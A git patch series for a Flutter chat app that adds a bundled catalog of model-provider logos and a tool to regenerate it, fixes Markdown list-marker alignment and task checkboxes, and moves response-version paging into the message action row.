a/packages/conduit_core/lib/features/direct_connections/services/direct_model_registry.dart +++ b/packages/conduit_core/lib/features/direct_connections/services/direct_model_registry.dart @@ -329,6 +329,10 @@ final class DirectModelRegistry { 'adapterKey': profile.adapterKey, 'remoteModelId': remote.id, 'remoteModelDisplayId': displayModelId, + // Host only, never the full URL, for picking a provider logo. + if (Uri.tryParse(profile.baseUrl)?.host case final host? + when host.isNotEmpty) + 'directBaseHost': host, if (source == DirectModelSource.openWebUi) 'openWebUiDirectConnection': true, 'urlIdx': ?openWebUiUrlIndex, diff --git a/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart b/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart new file mode 100644 index 000000000..3779cfea2 --- /dev/null +++ b/packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart @@ -0,0 +1,91 @@ +/// Picks a Direct model's avatar from the models.dev logos bundled with the +/// app (`assets/model_logos`, regenerated by `tool/generate_model_logos.dart`). +/// +/// A model gets its maker's logo, found from, in order: a `lab/model` id +/// prefix, the models.dev model index, or a family prefix (`llama3.2` is +/// Meta's). A model whose maker is unknown gets the logo of the provider it +/// is served by, matched on the connection's API host. +final class ModelLogoCatalog { + ModelLogoCatalog({ + required Map logos, + Map labAliases = const {}, + List<(String, String)> families = const [], + Map hosts = const {}, + Map models = const {}, + }) : logos = Map.unmodifiable(logos), + _labAliases = Map.unmodifiable(labAliases), + _families = List.unmodifiable(families), + _hosts = Map.unmodifiable(hosts), + _models = Map.unmodifiable(models); + + /// Parses `catalog.json`. Malformed sections are skipped, not fatal. + factory ModelLogoCatalog.fromJson(Map json) { + Map strings(Object? value) => { + if (value is Map) + for (final entry in value.entries) + if (entry.value is String) '${entry.key}': entry.value as String, + }; + final families = <(String, String)>[ + if (json['families'] case final List list) + for (final pair in list) + if (pair case [final String prefix, final String lab]) (prefix, lab), + ]; + return ModelLogoCatalog( + logos: strings(json['logos']), + labAliases: strings(json['labAliases']), + families: families, + hosts: strings(json['hosts']), + models: strings(json['models']), + ); + } + + /// Logo id → the maker or provider's display name. + final Map logos; + final Map _labAliases; + final List<(String, String)> _families; + final Map _hosts; + final Map _models; + + /// The logo id for a model, or `null` for the lettered fallback. + /// + /// [baseHost] is the connection's API host; [adapterKey] lets any Ollama + /// server fall back to Ollama's logo. + String? logoFor({ + required String remoteModelId, + String? baseHost, + String? adapterKey, + }) { + final id = remoteModelId.trim().toLowerCase(); + if (id.isEmpty) return _providerLogo(baseHost, adapterKey); + + final segments = id.split('/'); + if (segments.length > 1) { + final lab = _lab(segments.first); + if (lab != null) return lab; + } + + final name = segments.last; + final untagged = name.split(':').first; + final indexed = _known(_models[name]) ?? _known(_models[untagged]); + if (indexed != null) return indexed; + + for (final (prefix, lab) in _families) { + if (untagged.startsWith(prefix)) return _known(lab); + } + return _providerLogo(baseHost, adapterKey); + } + + String? _lab(String prefix) => _known(_labAliases[prefix] ?? prefix); + + String? _providerLogo(String? baseHost, String? adapterKey) { + final host = baseHost?.trim().toLowerCase(); + if (host != null && host.isNotEmpty) { + final byHost = _known(_hosts[host]); + if (byHost != null) return byHost; + } + if (adapterKey == 'ollama') return _known('ollama-cloud'); + return null; + } + + String? _known(String? id) => id != null && logos.containsKey(id) ? id : null; +} diff --git a/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart b/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart new file mode 100644 index 000000000..2d8c3e823 --- /dev/null +++ b/packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart @@ -0,0 +1,54 @@ +import 'dart:convert'; +import 'dart:io'; + +import 'package:conduit_core/features/direct_connections/services/model_logo_catalog.dart'; +import 'package:test/test.dart'; + +/// The catalog the app ships, so a regenerated bundle is checked too. +final _bundled = ModelLogoCatalog.fromJson( + jsonDecode(File('../../assets/model_logos/catalog.json').readAsStringSync()) + as Map, +); + +void main() { + test('a model resolves to its maker, then to its provider', () { + final cases = <(String, String?, String?, String?)>[ + // (remote id, API host, adapter, expected logo) + // Gateway ids name the lab, aliases included. + ('openai/gpt-5-mini', 'ai-gateway.vercel.sh', null, 'openai'), + ('meta-llama/llama-3.3-70b-instruct', 'openrouter.ai', null, 'meta'), + ('x-ai/grok-4', 'openrouter.ai', null, 'xai'), + // Bare ids use the models.dev index, then family prefixes. + ('gpt-5.4', 'api.openai.com', null, 'openai'), + ('claude-sonnet-4-5', null, null, 'anthropic'), + ('llama3.2:3b', 'localhost', 'ollama', 'meta'), + ('qwen2.5-coder:7b', 'localhost', 'ollama', 'alibaba'), + // An unknown maker falls back to the provider serving it. + ('voyage/voyage-3.5', 'ai-gateway.vercel.sh', null, 'vercel'), + ('my-finetune', 'api.groq.com', null, 'groq'), + ('my-finetune', 'localhost', 'ollama', 'ollama-cloud'), + // Nothing known: the lettered avatar. + ('my-finetune', 'llm.example.com', 'openai-compatible', null), + ]; + for (final (id, host, adapter, expected) in cases) { + expect( + _bundled.logoFor( + remoteModelId: id, + baseHost: host, + adapterKey: adapter, + ), + expected, + reason: '$id @ $host', + ); + } + }); + + test('every logo the catalog names ships as an SVG', () { + expect(_bundled.logos, isNotEmpty); + final missing = [ + for (final id in _bundled.logos.keys) + if (!File('../../assets/model_logos/$id.svg').existsSync()) id, + ]; + expect(missing, isEmpty); + }); +} diff --git a/pubspec.yaml b/pubspec.yaml index 38325b05f..9c5c2efef 100644 --- a/pubspec.yaml +++ b/pubspec.yaml @@ -185,6 +185,7 @@ flutter: assets: - THIRD_PARTY_NOTICES.md - assets/icons/ + - assets/model_logos/ - assets/release_notes/ - assets/chartjs.min.js - assets/flutter_tex.js diff --git a/test/core/utils/model_logo_avatar_test.dart b/test/core/utils/model_logo_avatar_test.dart new file mode 100644 index 000000000..1e537270d --- /dev/null +++ b/test/core/utils/model_logo_avatar_test.dart @@ -0,0 +1,62 @@ +import 'dart:convert'; +import 'dart:io'; + +import 'package:checks/checks.dart'; +import 'package:conduit/core/utils/model_icon_utils.dart'; +import 'package:conduit/core/utils/model_logos.dart'; +import 'package:conduit_core/features/direct_connections/models/direct_connection_profile.dart'; +import 'package:conduit_core/features/direct_connections/models/direct_remote_model.dart'; +import 'package:conduit_core/features/direct_connections/services/direct_model_registry.dart'; +import 'package:conduit_core/features/direct_connections/services/model_logo_catalog.dart'; +import 'package:conduit_core/models/model.dart'; +import 'package:flutter_test/flutter_test.dart'; + +List _mint(String baseUrl, List remoteIds) => + DirectModelRegistry().replaceProfileModels( + DirectConnectionProfile( + id: 'provider', + name: 'Provider', + adapterKey: kOpenAiCompatibleAdapterKey, + baseUrl: baseUrl, + ), + [for (final id in remoteIds) DirectRemoteModel(id: id, name: id)], + ); + +void main() { + setUpAll(() { + ModelLogos.debugSetCatalog( + ModelLogoCatalog.fromJson( + jsonDecode(File('assets/model_logos/catalog.json').readAsStringSync()) + as Map, + ), + ); + }); + tearDownAll(() => ModelLogos.debugSetCatalog(null)); + + test( + 'Direct models show their maker, or their provider, from models.dev', + () { + final models = _mint('https://api.groq.com/openai/v1', [ + 'gpt-4o', + 'my-finetune', + ]); + + check(resolveModelIconUrlForModel(null, models.first)) + .equals('${kModelLogoUrlScheme}openai'); + // The connection's host picks the provider's logo. + check(resolveModelIconUrlForModel(null, models.last)) + .equals('${kModelLogoUrlScheme}groq'); + }, + ); + + test('a server model cannot claim a bundled logo through metadata', () { + const spoofed = Model( + id: 'gpt-4o', + name: 'GPT-4o', + metadata: {'backend': 'direct', 'remoteModelId': 'gpt-4o'}, + ); + + check(modelLogoIdFromUrl(resolveModelIconUrlForModel(null, spoofed))) + .isNull(); + }); +} diff --git a/tool/generate_model_logos.dart b/tool/generate_model_logos.dart new file mode 100644 index 000000000..08894c296 --- /dev/null +++ b/tool/generate_model_logos.dart @@ -0,0 +1,211 @@ +// Regenerates the bundled model logos from models.dev. +// +// dart run tool/generate_model_logos.dart +// +// Writes assets/model_logos/.svg for every models.dev provider with a +// real logo, plus assets/model_logos/catalog.json, the index Direct +// connections use to pick a model's avatar (see `ModelLogoCatalog` in +// conduit_core). Everything ships in the app bundle: resolving an avatar +// never touches the network. +import 'dart:convert'; +import 'dart:io'; + +const _catalogUrl = 'https://models.dev/api.json'; +const _logoUrl = 'https://models.dev/logos'; +const _outDir = 'assets/model_logos'; + +/// Model-id prefixes that name a lab differently from its models.dev id. +const _labAliases = { + 'x-ai': 'xai', + 'z-ai': 'zhipuai', + 'thudm': 'zhipuai', + 'qwen': 'alibaba', + 'mistralai': 'mistral', + 'meta-llama': 'meta', + 'deepseek-ai': 'deepseek', + 'moonshot': 'moonshotai', + 'google-deepmind': 'google', + 'nvidia-nim': 'nvidia', + 'cohereforai': 'cohere', + 'minimaxai': 'minimax', + 'xiaomimimo': 'xiaomi', + 'stepfun-ai': 'stepfun', +}; + +/// Model-name prefixes for ids no catalog lists, typically local servers +/// (`llama3.2:3b`, `qwen2.5-coder`). Longest prefixes win. +const _families = { + 'chatgpt': 'openai', + 'gpt-': 'openai', + 'gpt4': 'openai', + 'o1': 'openai', + 'o3': 'openai', + 'o4-': 'openai', + 'dall-e': 'openai', + 'whisper': 'openai', + 'text-embedding': 'openai', + 'claude': 'anthropic', + 'gemini': 'google', + 'gemma': 'google', + 'codellama': 'meta', + 'llama': 'meta', + 'qwen': 'alibaba', + 'qwq': 'alibaba', + 'mistral': 'mistral', + 'mixtral': 'mistral', + 'codestral': 'mistral', + 'ministral': 'mistral', + 'pixtral': 'mistral', + 'magistral': 'mistral', + 'devstral': 'mistral', + 'deepseek': 'deepseek', + 'chatglm': 'zhipuai', + 'glm': 'zhipuai', + 'kimi': 'moonshotai', + 'grok': 'xai', + 'command': 'cohere', + 'c4ai': 'cohere', + 'nemotron': 'nvidia', + 'minimax': 'minimax', + 'sonar': 'perplexity', + 'mimo': 'xiaomi', + 'jamba': 'ai21', + 'mercury': 'inception', +}; + +/// API hosts of providers whose models.dev entry has no `api` URL because +/// they ship a dedicated SDK. +const _hosts = { + 'api.openai.com': 'openai', + 'api.anthropic.com': 'anthropic', + 'generativelanguage.googleapis.com': 'google', + 'api.groq.com': 'groq', + 'ai-gateway.vercel.sh': 'vercel', + 'api.mistral.ai': 'mistral', + 'api.x.ai': 'xai', + 'api.together.xyz': 'togetherai', + 'api.deepinfra.com': 'deepinfra', + 'api.deepseek.com': 'deepseek', + 'api.cerebras.ai': 'cerebras', + 'api.cohere.ai': 'cohere', + 'api.cohere.com': 'cohere', + 'api.perplexity.ai': 'perplexity', + 'ollama.com': 'ollama-cloud', +}; + +Future main() async { + final client = HttpClient(); + try { + final catalog = + jsonDecode(await _get(client, _catalogUrl)) as Map; + final defaultLogo = await _get(client, '$_logoUrl/__missing__.svg'); + + final dir = Directory(_outDir); + if (dir.existsSync()) dir.deleteSync(recursive: true); + dir.createSync(recursive: true); + + final logos = {}; + for (final entry in catalog.entries) { + final id = entry.key; + if (!RegExp(r'^[a-z0-9][a-z0-9._-]*$').hasMatch(id)) continue; + final svg = await _get(client, '$_logoUrl/$id.svg'); + // models.dev answers unknown logos with a generic sparkle. + if (svg == defaultLogo) continue; + File('$_outDir/$id.svg').writeAsStringSync(svg); + logos[id] = (entry.value as Map)['name'] as String? ?? id; + } + + String? logoFor(String? id) { + if (id == null) return null; + final lower = id.toLowerCase(); + final resolved = _labAliases[lower] ?? lower; + return logos.containsKey(resolved) ? resolved : null; + } + + // Labs are the makers named in canonical ids, not resellers. + final labs = {}; + for (final provider in catalog.values) { + for (final model in ((provider as Map)['models'] as Map).values) { + final canonical = (model as Map)['canonical_model_id'] as String?; + final lab = logoFor(canonical?.split('/').first); + if (canonical != null && canonical.contains('/') && lab != null) { + labs.add(lab); + } + } + } + + final models = {}; + void index(String? name, String? lab) { + if (name == null || lab == null) return; + models.putIfAbsent(name.toLowerCase(), () => lab); + } + + for (final provider in catalog.values) { + for (final model in ((provider as Map)['models'] as Map).values) { + final canonical = (model as Map)['canonical_model_id'] as String?; + if (canonical == null || !canonical.contains('/')) continue; + final lab = logoFor(canonical.split('/').first); + index(canonical.split('/').last, lab); + } + } + // First-party listings cover models without a canonical id. + for (final entry in catalog.entries) { + if (!labs.contains(entry.key)) continue; + for (final id in ((entry.value as Map)['models'] as Map).keys) { + index((id as String).split('/').last, entry.key); + } + } + + final hosts = {}; + for (final entry in catalog.entries) { + final api = (entry.value as Map)['api'] as String?; + if (api == null || api.contains(r'${') || !logos.containsKey(entry.key)) { + continue; + } + final host = Uri.tryParse(api)?.host.toLowerCase(); + if (host == null || host.isEmpty || _isLocal(host)) continue; + hosts.putIfAbsent(host, () => entry.key); + } + _hosts.forEach((host, id) { + if (logos.containsKey(id)) hosts[host] = id; + }); + + final families = + (_families.entries.toList() + ..sort((a, b) => b.key.length.compareTo(a.key.length))) + .where((entry) => logos.containsKey(entry.value)) + .map((entry) => [entry.key, entry.value]) + .toList(); + + final aliases = { + for (final entry in _labAliases.entries) + if (logos.containsKey(entry.value)) entry.key: entry.value, + }; + + File('$_outDir/catalog.json').writeAsStringSync( + '${const JsonEncoder.withIndent(' ').convert({'source': 'https://models.dev', 'logos': Map.fromEntries(logos.entries.toList()..sort((a, b) => a.key.compareTo(b.key))), 'labAliases': aliases, 'families': families, 'hosts': Map.fromEntries(hosts.entries.toList()..sort((a, b) => a.key.compareTo(b.key))), 'models': Map.fromEntries(models.entries.toList()..sort((a, b) => a.key.compareTo(b.key)))})}\n', + ); + stdout.writeln( + '${logos.length} logos, ${models.length} models, ${hosts.length} hosts', + ); + } finally { + client.close(); + } +} + +bool _isLocal(String host) => + host == 'localhost' || + host.startsWith('127.') || + host.startsWith('192.168.') || + host.startsWith('10.') || + host == '0.0.0.0'; + +Future _get(HttpClient client, String url) async { + final request = await client.getUrl(Uri.parse(url)); + final response = await request.close(); + final body = await response.transform(utf8.decoder).join(); + if (response.statusCode != 200) { + throw HttpException('${response.statusCode} for $url'); + } + return body; +} From d38ac408ee610bb6aca56632be0c2845262f63c9 Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 12:53:34 +0530 Subject: [PATCH 4/9] Align list markers on the baseline and render task checkboxes Markdown list markers were nudged 1px below their item's baseline by a fixed top padding. They now align to the first line's baseline, whatever its line height. GitHub task-list items lost their checkbox: the parser's had no renderer, so checklists showed plain bullets with a stray leading space. The box now replaces the bullet, checked or empty, and the space is dropped. --- .../markdown/renderer/block_renderer.dart | 119 ++++++++++++++++-- .../streaming_markdown_widget_test.dart | 52 ++++++++ 2 files changed, 163 insertions(+), 8 deletions(-) diff --git a/lib/shared/widgets/markdown/renderer/block_renderer.dart b/lib/shared/widgets/markdown/renderer/block_renderer.dart index 9523e275e..37bc4cfec 100644 --- a/lib/shared/widgets/markdown/renderer/block_renderer.dart +++ b/lib/shared/widgets/markdown/renderer/block_renderer.dart @@ -1,4 +1,5 @@ import 'package:conduit/l10n/app_localizations.dart'; +import 'package:cupertino_ui/cupertino_ui.dart'; import 'package:material_ui/material_ui.dart'; import '../../conduit_loading.dart'; @@ -903,7 +904,8 @@ class BlockRenderer { String marker, { required String nodePath, }) { - final children = element.children; + final task = _splitTaskCheckbox(element.children); + final children = task.children; final inlineNodes = []; final blockNodes = []; @@ -950,15 +952,23 @@ class BlockRenderer { return Padding( padding: EdgeInsets.only(bottom: style.listItemSpacing), + // Baseline alignment puts the marker on the first line's baseline + // whatever the content's strut or line height, instead of a fixed + // nudge that left bullets and numbers sitting low. child: Row( - crossAxisAlignment: CrossAxisAlignment.start, + crossAxisAlignment: CrossAxisAlignment.baseline, + textBaseline: TextBaseline.alphabetic, children: [ - Padding( - padding: const EdgeInsets.only(top: 1.0), - child: SizedBox( - width: 24, - child: Text(marker, style: style.body, textAlign: TextAlign.center), - ), + SizedBox( + width: 24, + child: switch (task.checked) { + final checked? => _taskCheckbox(checked), + null => Text( + marker, + style: style.body, + textAlign: TextAlign.center, + ), + }, ), Expanded(child: content), ], @@ -966,6 +976,99 @@ class BlockRenderer { ); } + /// A GitHub task-list item leads with ``, directly + /// or inside its first paragraph. Returns the item's children without it, + /// and its state, so the box can replace the bullet. + ({bool? checked, List children}) _splitTaskCheckbox( + List children, + ) { + bool? checkboxState(CompiledMarkdownNode node) => + node is CompiledMarkdownElement && + node.tag == 'input' && + node.attributes['type'] == 'checkbox' + ? node.attributes['checked'] == 'true' + : null; + + // The source's `[ ] text` leaves a space after the box. + List withoutLeadingSpace( + Iterable nodes, + ) { + final list = nodes.toList(); + final first = list.isEmpty ? null : list.first; + if (first is CompiledMarkdownText && + !first.hasInlineSegments && + !first.containsLatexPlaceholders && + !first.containsCitations) { + list[0] = CompiledMarkdownText( + first.text.trimLeft(), + nodeId: first.nodeId, + ); + } + return list; + } + + if (children.isEmpty) return (checked: null, children: children); + final first = children.first; + final direct = checkboxState(first); + if (direct != null) { + return (checked: direct, children: withoutLeadingSpace(children.skip(1))); + } + if (first is CompiledMarkdownElement && + first.tag == 'p' && + first.children.isNotEmpty) { + final nested = checkboxState(first.children.first); + if (nested != null) { + return ( + checked: nested, + children: [ + CompiledMarkdownElement( + nodeId: first.nodeId, + tag: first.tag, + blockKind: first.blockKind, + attributes: first.attributes, + children: withoutLeadingSpace(first.children.skip(1)), + ), + ...children.skip(1), + ], + ); + } + } + return (checked: null, children: children); + } + + /// A task-list box, set in a text span so it sits on the item's baseline + /// like a bullet does. + Widget _taskCheckbox(bool checked) { + final cupertino = context.usesCupertinoChrome; + final color = style.body.color; + final l10n = AppLocalizations.of(context); + return Text.rich( + TextSpan( + style: style.body, + children: [ + WidgetSpan( + alignment: PlaceholderAlignment.middle, + child: Icon( + checked + ? (cupertino + ? CupertinoIcons.checkmark_square_fill + : Icons.check_box) + : (cupertino + ? CupertinoIcons.square + : Icons.check_box_outline_blank), + size: (style.body.fontSize ?? 16) * 1.1, + color: checked ? color : color?.withValues(alpha: 0.55), + semanticLabel: checked + ? l10n?.chatTaskCompleted + : l10n?.chatTaskPending, + ), + ), + ], + ), + textAlign: TextAlign.center, + ); + } + bool _appendInlineListChild( CompiledMarkdownNode child, List inlineNodes, diff --git a/test/shared/widgets/markdown/renderer/streaming_markdown_widget_test.dart b/test/shared/widgets/markdown/renderer/streaming_markdown_widget_test.dart index cb51d6e33..265a29513 100644 --- a/test/shared/widgets/markdown/renderer/streaming_markdown_widget_test.dart +++ b/test/shared/widgets/markdown/renderer/streaming_markdown_widget_test.dart @@ -26,6 +26,7 @@ import 'package:conduit/shared/widgets/themed_sheets.dart'; import 'package:conduit/shared/widgets/web_content_embed.dart'; import 'package:flutter/foundation.dart'; import 'package:material_ui/material_ui.dart'; +import 'package:flutter/rendering.dart' show RenderParagraph; import 'package:flutter/services.dart'; import 'package:flutter_riverpod/flutter_riverpod.dart'; import 'package:flutter_test/flutter_test.dart'; @@ -1415,6 +1416,57 @@ graph TD }, ); + testWidgets('list markers sit on the first line\'s baseline', (tester) async { + // Marker and item share one text style, so their first glyphs' line + // boxes line up exactly when their baselines do. + double glyphBottomOf(Finder finder) { + final paragraph = tester.renderObject( + find + .descendant( + of: finder, + matching: find.byType(RichText), + matchRoot: true, + ) + .first, + ); + final box = paragraph + .getBoxesForSelection( + const TextSelection(baseOffset: 0, extentOffset: 1), + ) + .first; + return paragraph.localToGlobal(Offset(0, box.bottom)).dy; + } + + for (final (content, marker) in [ + ('- Bullet item', '•'), + ('1. Numbered item', '1.'), + ]) { + await tester.pumpWidget(buildHarness(content)); + await tester.pumpAndSettle(); + + final itemText = content.substring(content.indexOf(' ') + 1); + expect( + glyphBottomOf(find.text(marker)), + closeTo(glyphBottomOf(find.text(itemText, findRichText: true)), 0.01), + reason: content, + ); + } + }); + + testWidgets('task list items show their checkbox instead of a bullet', ( + tester, + ) async { + await tester.pumpWidget(buildHarness('- [x] Done task\n- [ ] Open task')); + await tester.pumpAndSettle(); + + expect(find.text('•'), findsNothing); + expect(find.byIcon(Icons.check_box), findsOneWidget); + expect(find.byIcon(Icons.check_box_outline_blank), findsOneWidget); + // The space after `[x]` belongs to the box, not the item text. + expect(find.text('Done task', findRichText: true), findsOneWidget); + expect(find.text('Open task', findRichText: true), findsOneWidget); + }); + testWidgets( 'renders loose list item paragraphs inline like the web renderer', (tester) async { From 668152aecf47b2912f5e52112754ad2622f45957 Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 13:07:41 +0530 Subject: [PATCH 5/9] Switch response versions from the action row MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Assistant responses with regenerations now lead their action row with a ‹ n/m › pager, like Open WebUI, instead of a passive count chip and Prev/Next buried in the overflow menu. Direct chats never showed it: they store earlier responses on the message itself, but the conversation parser only rebuilt versions from Open WebUI sibling rows and dropped the stored ones on every load. The parser now keeps them, ahead of any sibling versions. --- .../widgets/assistant_message_widget.dart | 105 ++++++++++-------- .../lib/services/conversation_parsing.dart | 14 ++- .../services/conversation_parsing_test.dart | 38 +++++++ .../assistant_message_widget_footer_test.dart | 13 ++- 4 files changed, 113 insertions(+), 57 deletions(-) diff --git a/lib/features/chat/widgets/assistant_message_widget.dart b/lib/features/chat/widgets/assistant_message_widget.dart index b0a2c6c68..517b3c358 100644 --- a/lib/features/chat/widgets/assistant_message_widget.dart +++ b/lib/features/chat/widgets/assistant_message_widget.dart @@ -1861,10 +1861,13 @@ class _AssistantMessageWidgetState extends ConsumerState sources: activeSources, messageId: widget.message.id, ), - if (widget.message.versions.isNotEmpty) _buildVersionChip(), ]; + final versionPager = widget.message.versions.isNotEmpty + ? _buildVersionPager() + : null; - if (infoWidgets.isEmpty && + if (versionPager == null && + infoWidgets.isEmpty && visibleActions.isEmpty && overflowActions.isEmpty) { return null; @@ -1873,9 +1876,11 @@ class _AssistantMessageWidgetState extends ConsumerState final overflowButton = overflowActions.isNotEmpty ? _buildOverflowActionButton(overflowActions) : null; - // The icon buttons sit edge to edge with the overflow - // trailing them inline, and informational chips follow the buttons. + // Like Open WebUI, the version pager leads the row; the icon buttons sit + // edge to edge with the overflow trailing them inline, and informational + // chips follow the buttons. final actionButtons = [ + ?versionPager, for (final action in visibleActions) _buildActionButton( icon: action.icon, @@ -1966,10 +1971,6 @@ class _AssistantMessageWidgetState extends ConsumerState final bool canRegenerate = widget.onRegenerate != null && (!isChatStreaming || currentStreamingMessageCompleted); - final bool hasVersions = widget.message.versions.isNotEmpty; - final bool canGoToPreviousVersion = - hasVersions && (_activeVersionIndex < 0 || _activeVersionIndex > 0); - final bool canGoToNextVersion = hasVersions && _activeVersionIndex >= 0; VoidCallback? ttsOnTap; if (showStopState || canStartTts) { @@ -2028,41 +2029,6 @@ class _AssistantMessageWidgetState extends ConsumerState onTap: () => UsageStatsModal.show(context, activeUsage), sfSymbol: 'info.circle', ), - if (hasVersions) - _AssistantFooterAction( - id: 'previous_version', - icon: Platform.isIOS - ? CupertinoIcons.chevron_left - : Icons.chevron_left, - label: l10n.previousLabel, - onTap: canGoToPreviousVersion - ? () { - final nextIndex = _activeVersionIndex < 0 - ? widget.message.versions.length - 1 - : _activeVersionIndex - 1; - _setActiveVersionIndex(nextIndex); - } - : null, - sfSymbol: 'chevron.left', - ), - if (hasVersions) - _AssistantFooterAction( - id: 'next_version', - icon: Platform.isIOS - ? CupertinoIcons.chevron_right - : Icons.chevron_right, - label: l10n.nextLabel, - onTap: canGoToNextVersion - ? () { - final nextIndex = - _activeVersionIndex < widget.message.versions.length - 1 - ? _activeVersionIndex + 1 - : -1; - _setActiveVersionIndex(nextIndex); - } - : null, - sfSymbol: 'chevron.right', - ), if (!widget.readOnly) _AssistantFooterAction( id: 'delete', @@ -2084,16 +2050,57 @@ class _AssistantMessageWidgetState extends ConsumerState return ChatActionButton(icon: icon, label: label, onTap: onTap); } - Widget _buildVersionChip() { - final totalVersions = widget.message.versions.length + 1; + /// `‹ 2/3 ›`: steps through this response's regenerations in place. + /// The live response is the last version. + Widget _buildVersionPager() { + final l10n = AppLocalizations.of(context)!; + final theme = context.conduitTheme; + final archived = widget.message.versions.length; + final totalVersions = archived + 1; final currentVersion = _activeVersionIndex < 0 ? totalVersions : _activeVersionIndex + 1; + final canGoBack = _activeVersionIndex != 0; + final canGoForward = _activeVersionIndex >= 0; - return ConduitChip( - label: '$currentVersion/$totalVersions', - isCompact: true, - isSelected: _activeVersionIndex >= 0, + return Row( + key: const ValueKey('assistant-version-pager'), + mainAxisSize: MainAxisSize.min, + children: [ + _buildActionButton( + icon: Platform.isIOS + ? CupertinoIcons.chevron_left + : Icons.chevron_left, + label: l10n.previousLabel, + onTap: canGoBack + ? () => _setActiveVersionIndex( + _activeVersionIndex < 0 + ? archived - 1 + : _activeVersionIndex - 1, + ) + : null, + ), + Text( + '$currentVersion/$totalVersions', + style: AppTypography.small.copyWith( + color: theme.textPrimary.withValues(alpha: 0.8), + fontFeatures: const [FontFeature.tabularFigures()], + ), + ), + _buildActionButton( + icon: Platform.isIOS + ? CupertinoIcons.chevron_right + : Icons.chevron_right, + label: l10n.nextLabel, + onTap: canGoForward + ? () => _setActiveVersionIndex( + _activeVersionIndex < archived - 1 + ? _activeVersionIndex + 1 + : -1, + ) + : null, + ), + ], ); } diff --git a/packages/conduit_core/lib/services/conversation_parsing.dart b/packages/conduit_core/lib/services/conversation_parsing.dart index 45564d5d8..0289fe762 100644 --- a/packages/conduit_core/lib/services/conversation_parsing.dart +++ b/packages/conduit_core/lib/services/conversation_parsing.dart @@ -252,7 +252,10 @@ void _addVersionsFromSiblings( } if (versions.isNotEmpty) { - parsed['versions'] = versions; + parsed['versions'] = >[ + ...?(parsed['versions'] as List>?), + ...versions, + ]; } } @@ -746,7 +749,14 @@ Map _parseOpenWebUIMessageToJson( 'codeExecutions': _parseCodeExecutionsField(codeExecRaw), 'sources': _parseSourcesField(sourcesRaw), 'usage': usage, - 'versions': const >[], + // Open WebUI keeps regenerations as sibling rows, added afterwards by + // _addVersionsFromSiblings. Conduit's own local chats (Direct) regenerate + // in place and store the earlier responses on the message itself. + 'versions': >[ + if (msgData['versions'] case final List stored) + for (final version in stored) + if (version is Map) _coerceJsonMap(version), + ], if (outputItems.isNotEmpty) 'output': outputItems, 'error': ?errorData, }; diff --git a/packages/conduit_core/test/services/conversation_parsing_test.dart b/packages/conduit_core/test/services/conversation_parsing_test.dart index 0d5008547..d17b0ae6f 100644 --- a/packages/conduit_core/test/services/conversation_parsing_test.dart +++ b/packages/conduit_core/test/services/conversation_parsing_test.dart @@ -1,4 +1,5 @@ import 'package:checks/checks.dart'; +import 'package:conduit_core/models/chat_message.dart'; import 'package:conduit_core/services/conversation_parsing.dart'; import 'package:conduit_core/services/direct_replay_output.dart'; import 'package:conduit_core/services/structured_output.dart'; @@ -508,6 +509,43 @@ void main() { }); group('extracts messages from history', () { + test('keeps versions stored on the message itself', () { + // Direct chats regenerate in place and persist earlier responses on + // the message, not as Open WebUI sibling rows. + final earlier = ChatMessageVersion( + id: 'assistant-1-v1', + content: 'Earlier answer', + timestamp: DateTime.utc(2026, 9, 29), + ); + final conversation = parseFullConversationModel({ + 'id': 'conv-1', + 'chat': { + 'history': { + 'currentId': 'assistant-1', + 'messages': { + 'user-1': { + 'role': 'user', + 'content': 'Question', + 'childrenIds': ['assistant-1'], + 'timestamp': 1700000000, + }, + 'assistant-1': { + 'role': 'assistant', + 'content': 'Latest answer', + 'parentId': 'user-1', + 'timestamp': 1700000001, + 'versions': [earlier.toJson()], + }, + }, + }, + }, + }); + + final versions = conversation.messages.last.versions; + check(versions).length.equals(1); + check(versions.single.content).equals('Earlier answer'); + }); + test('follows parent chain from currentId', () { final result = parseFullConversation({ 'id': 'conv-1', diff --git a/test/features/chat/widgets/assistant_message_widget_footer_test.dart b/test/features/chat/widgets/assistant_message_widget_footer_test.dart index 4994a80c3..b9284d3ee 100644 --- a/test/features/chat/widgets/assistant_message_widget_footer_test.dart +++ b/test/features/chat/widgets/assistant_message_widget_footer_test.dart @@ -459,8 +459,9 @@ void main() { expect(find.text('2/2'), findsOneWidget); expect(find.byIcon(Icons.content_copy_outlined), findsOneWidget); expect(find.byIcon(Icons.refresh), findsOneWidget); - expect(find.byIcon(Icons.chevron_left), findsNothing); - expect(find.byIcon(Icons.chevron_right), findsNothing); + // The version pager is inline, not in the overflow. + expect(find.byIcon(Icons.chevron_left), findsOneWidget); + expect(find.byIcon(Icons.chevron_right), findsOneWidget); expect(find.byIcon(Icons.more_horiz_rounded), findsOneWidget); final refreshPosition = tester.getTopLeft(find.byIcon(Icons.refresh)); @@ -470,16 +471,16 @@ void main() { find.byIcon(Icons.more_horiz_rounded), ); - // Order: icon buttons, the inline overflow, then info chips. + // Order: version pager, icon buttons, the inline overflow, info chips. + expect(refreshPosition.dx, greaterThan(versionPosition.dx)); expect(overflowPosition.dx, greaterThan(refreshPosition.dx)); expect(sourcePosition.dx, greaterThan(overflowPosition.dx)); - expect(versionPosition.dx, greaterThan(sourcePosition.dx)); await tester.tap(find.byIcon(Icons.more_horiz_rounded)); await tester.pumpAndSettle(); - expect(find.text('Prev'), findsOneWidget); - expect(find.text('Next'), findsOneWidget); + expect(find.text('Prev'), findsNothing); + expect(find.text('Next'), findsNothing); expect(find.text('Info'), findsOneWidget); }); From b655a76ee7b1867355a19f4bde824d521bdcee5d Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 13:35:17 +0530 Subject: [PATCH 6/9] Address review: address checks, fetch limits, extraction, logos - Reject every IANA special-purpose IPv4 block and accept only global unicast IPv6, checking the IPv4 address inside mapped, NAT64 and 6to4 addresses, so web_fetch can't reach an internally routed host. - Bound the whole page fetch, including DNS and connection attempts, by its timeout and cancel signal; decode windows-1252 properly. - Keep an article's own header, lengthen code fences around embedded 